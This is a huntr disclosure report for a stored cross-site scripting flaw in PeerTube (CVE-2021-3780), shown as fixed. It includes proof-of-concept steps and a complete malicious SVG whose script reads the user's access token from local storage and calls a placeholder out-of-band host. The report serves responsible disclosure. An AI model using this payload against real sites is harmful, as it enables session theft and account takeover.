huntr

Cross-site Scripting (XSS) - Stored in chocobozzz/peertube

0

✓ Valid Reported on Sep 7th 2021

✍️ Description

We can upload a SVG image and then send the url of that to other users and when they open the link we can get their complete session keys as the session keys stored in local storage and with Javascript easily can be stolen by attackers.

🕵️ Proof of Concept

1.Go to `https://interact.projectdiscovery.io/` and receive a url and replace it with `xxxxxxxxxxxxxxxxxxx.xxxxxxxxxx` in `image.SVG` .
2.upload `image.SVG` file somewhere on website like NEW CHANNEL section and copy the link of SVG image after upload that already should be like this: `blob:https://tube.s1gm4.eu/3d2c5059-114f-4664-a7f6-0f9a96f480c6`
3.Open the URL and you can see the user main access key(just for test I show one of the main local storage keys) and also you can see that in `https://interact.projectdiscovery.io/` we receive some ping from `tube.s1gm4.eu` .
//image.SVG

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:xlink="http://www.w3.org/1999/xlink"
   style="overflow: hidden; position: relative;"
   width="300"
   height="200">

  <image
     x="10"
     y="10"
     width="276"
     height="110"
     xlink:href="http://images.google.com/intl/es_ALL/images/logos/images_l
     stroke-width="1"
     id="image3204" />
  <rect
     x="0"
     y="150"
     height="10"
     width="300"
     style="fill: black"/>

<script type="text/javascript">
   const token = localStorage.getItem('access_token')
   alert(token);
   async function getUserInfo() {
     const response = await fetch('https://xxxxxxxxxxxxxxxxxxx.xxxxxxxxxx')
   }
   getUserInfo();
</script>
</svg>
```

💥 Impact

This vulnerability is capable of take control of user accounts.

Occurrences

TS server.ts L1

CVE
CVE-2021-3780
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
High (7.6)

Chat with us

Affected Version

*

Visibility

Public

Status

Fixed

Found by

amammad

@amammad

pro

Fixed by

chocobozzz

@chocobozzz

unranked

This report was seen 420 times.

We have contacted a member of the **chocobozzz/peertube** team and are waiting to hear back

a year ago

chocobozzz validated this vulnerability a year ago

amammad has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

chocobozzz marked this as fixed with commit 0ea2f7 a year ago

chocobozzz has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Jamie Slome a year ago Admin

CVE published! 🎊

CVE-2021-3780

Sign in to join this conversation